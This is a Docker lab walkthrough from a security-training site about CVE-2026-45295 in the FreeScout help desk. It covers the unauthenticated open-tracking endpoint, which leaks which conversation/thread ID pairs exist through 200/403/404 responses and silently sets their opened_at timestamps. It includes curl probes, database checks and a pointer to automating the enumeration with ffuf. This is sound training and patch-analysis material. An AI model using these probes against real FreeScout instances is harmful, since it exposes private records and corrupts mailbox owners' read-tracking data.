Labs

CVE-2026-45295: FreeScout Open-Tracking Enumeration Oracle

Docker lab Information Disclosure

Updated August 29, 2026 · Written by PWNMI — see About.

FreeScout is a self-hosted, open-source help desk platform. Like most helpdesk software, it includes an "open tracking" feature — a 1x1 pixel embedded in outgoing emails so agents can tell when a customer has read a reply. CVE-2026-45295 turns that pixel's endpoint into something it was never supposed to be: an unauthenticated oracle that lets an outside attacker learn which conversation/thread ID pairs are real, and silently rewrite their read state as a side effect of merely checking.

Affects FreeScout before 1.8.219, fixed in 1.8.219. GitHub security advisory: GHSA-qjr9-6v9q-3r72. No public PoC repository or exploit-db entry existed for this CVE at the time this lab was built — everything in this walkthrough was independently developed and verified from the upstream patch diff, differentially rebuilt against both the vulnerable and fixed releases.

What you'll practice: reading a one-file patch diff to reconstruct the pre-patch vulnerable behavior before writing a single exploit request, building an authless enumeration oracle out of nothing but HTTP response-code differences, and verifying a claimed state mutation at the database layer instead of trusting the HTTP response alone.

Set up the lab

New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.

Get the lab files from pwnmihq/resources:

git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-45295
cd cve-labs/CVE-2026-45295
docker compose up -d

This builds FreeScout 1.8.218 — the exact last release before the fix — against MySQL, and seeds two independent conversation/thread pairs on first boot (one to attack, one as a live control). No ports are published, so capture the container ID and its IP together:

CONTAINER=$(docker compose ps -q freescout)
IP=$(docker inspect $CONTAINER --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')

FreeScout's TrustHosts middleware rejects any request whose Host header doesn't match its configured APP_URL — this lab sets that to freescout.local. Every request from here on needs -H "Host: freescout.local", including this readiness check:

curl -s -o /dev/null -w '%{http_code}' -H "Host: freescout.local" "http://$IP/login"

A 200 means the app is up. Confirm the seed data landed cleanly before testing:

docker compose logs freescout | grep -E 'MAILBOX|CUSTOMER|CONVERSATION|THREAD'

You should see two conversation/thread pairs (IDs 1/1 and 2/2), both with opened_at=NULL.

Understanding the vulnerability

The vulnerable route, GET /thread/read/{conversation_id}/{thread_id}, exists so an email client can silently fetch a tracking pixel without any session — it lives in FreeScout's open middleware group, deliberately left unauthenticated by design. The handler does exactly three things, with no capability check anywhere in the chain:

  1. Look up the conversation and thread by ID. If either doesn't exist, Laravel's findOrFail() throws and the response is a 404.
  2. If the thread exists but doesn't actually belong to that conversation, the handler explicitly denies access — a 403.
  3. Otherwise, if this is the thread's first view (opened_at is still empty), it writes the current timestamp to opened_at and fires a thread.opened event, then always returns a 200 with the tracking pixel.

Three distinct, unauthenticated response codes for a two-dimensional ID pair is a textbook enumeration oracle. Both conversation_id and thread_id are plain auto-incrementing integers — small, dense, and trivially guessable — so an attacker walking them sequentially learns exactly which IDs correspond to real, correctly-paired conversations, information that's normally locked behind a login anywhere else in the app. Worse, every successful guess also silently overwrites that thread's opened_at field, corrupting genuine email-open analytics with no email ever actually having been opened.

The fix adds a third, required path segment — a per-thread HMAC computed server-side from fields an attacker can't see (thread->id, thread->body, thread->customer_id, and creation timestamps) — and only performs the write when that hash matches. Critically, the patch does not make the HTTP response depend on whether the hash is correct: a wrong hash still returns the same 200 pixel, it just no longer touches the database. That distinction — response class versus actual side effect — is the whole story of this bug, and it's worth internalizing before writing the exploit below: a black-box tester who only checks status codes on the patched version would wrongly conclude nothing changed.

Exploitation

Query the thread table directly first, so you have a clean baseline to compare against after the attack:

docker compose exec -T db mysql -ufreescout -pfreescoutpass freescout \
  -N -e "SELECT id, conversation_id, opened_at FROM threads ORDER BY id;"
1  1  NULL
2  2  NULL

Now probe the endpoint with the three ID-pair classes the patch diff predicts — a real matched pair, a real pair with the IDs swapped (mismatched pairing), and IDs that don't exist at all:

curl -s -H "Host: freescout.local" -o /dev/null -w 'matched pair (1/1):    %{http_code}\n' "http://$IP/thread/read/1/1"
curl -s -H "Host: freescout.local" -o /dev/null -w 'matched pair (2/2):    %{http_code}\n' "http://$IP/thread/read/2/2"
curl -s -H "Host: freescout.local" -o /dev/null -w 'mismatched pair (1/2): %{http_code}\n' "http://$IP/thread/read/1/2"
curl -s -H "Host: freescout.local" -o /dev/null -w 'nonexistent (9999):    %{http_code}\n' "http://$IP/thread/read/9999/9999"
matched pair (1/1):    200
matched pair (2/2):    200
mismatched pair (1/2): 403
nonexistent (9999):    404

No cookie, session, Authorization header, or CSRF token was sent on any of these — this is a completely anonymous client, and the three distinct response codes alone are enough to map out which conversation/thread pairs genuinely exist without ever authenticating.

Now check what that first request actually did to the database — not just what the HTTP client reported:

docker compose exec -T db mysql -ufreescout -pfreescoutpass freescout \
  -N -e "SELECT id, conversation_id, opened_at FROM threads ORDER BY id;"
1  1  2026-08-29 07:18:23
2  2  NULL

Thread 1 — the one you probed — now has a real timestamp in opened_at. Thread 2, never touched, is still NULL in the same table at the same moment, ruling out a background job or migration as the cause. A single unauthenticated GET request, sent purely to check whether an ID pair exists, permanently altered that thread's read-tracking state as a side effect.

Cleanup

This bug's only footprint on a real target is that opened_at timestamp: every thread ID pair you correctly guessed during testing now shows a fake "read" event that never happened. That's not a durable access primitive — you don't come away with an account, a session, or a foothold — but it is real data corruption of the mailbox owner's analytics, and the application itself has no way to tell a forged open from a genuine one after the fact.

Keep your own log of exactly which conversation/thread IDs you probed and when, and hand that to whoever owns the target so they can decide whether to reset those specific rows:

UPDATE threads SET opened_at = NULL WHERE id IN (<ids you probed>);

Don't run that cleanup yourself without disclosing which rows you touched — silently "fixing" the state you changed is just trading one undocumented mutation for another.

Tear the lab down when you're done:

docker compose down -v

Lessons worth keeping

  • A response code and a side effect are two different questions. The patch here kept the HTTP response identical (still 200) for a wrong-hash request and only gated the actual database write — proving a fix by re-testing the old response-code oracle alone would have missed that the write itself was already closed.
  • Two sequential integers are not an access control. findOrFail() on auto-incrementing IDs enforces that something exists, never that the requester is allowed to see it. Any route reachable with nothing but guessable primary keys is an enumeration oracle whether or not anyone calls it one.
  • Differential testing against the immediate patch isolates the real mechanism. Rebuilding the fixed release side by side made it possible to prove exactly what changed (a hidden capability token gating the write) instead of just observing that "the CVE is fixed" from the outside.

Next step

For another FreeScout bug in the same codebase, this time a full account takeover rather than an information leak, see CVE-2026-53595 (FreeScout). To automate ID-pair enumeration like this at scale instead of hand-rolling curl loops, see the ffuf cheatsheet.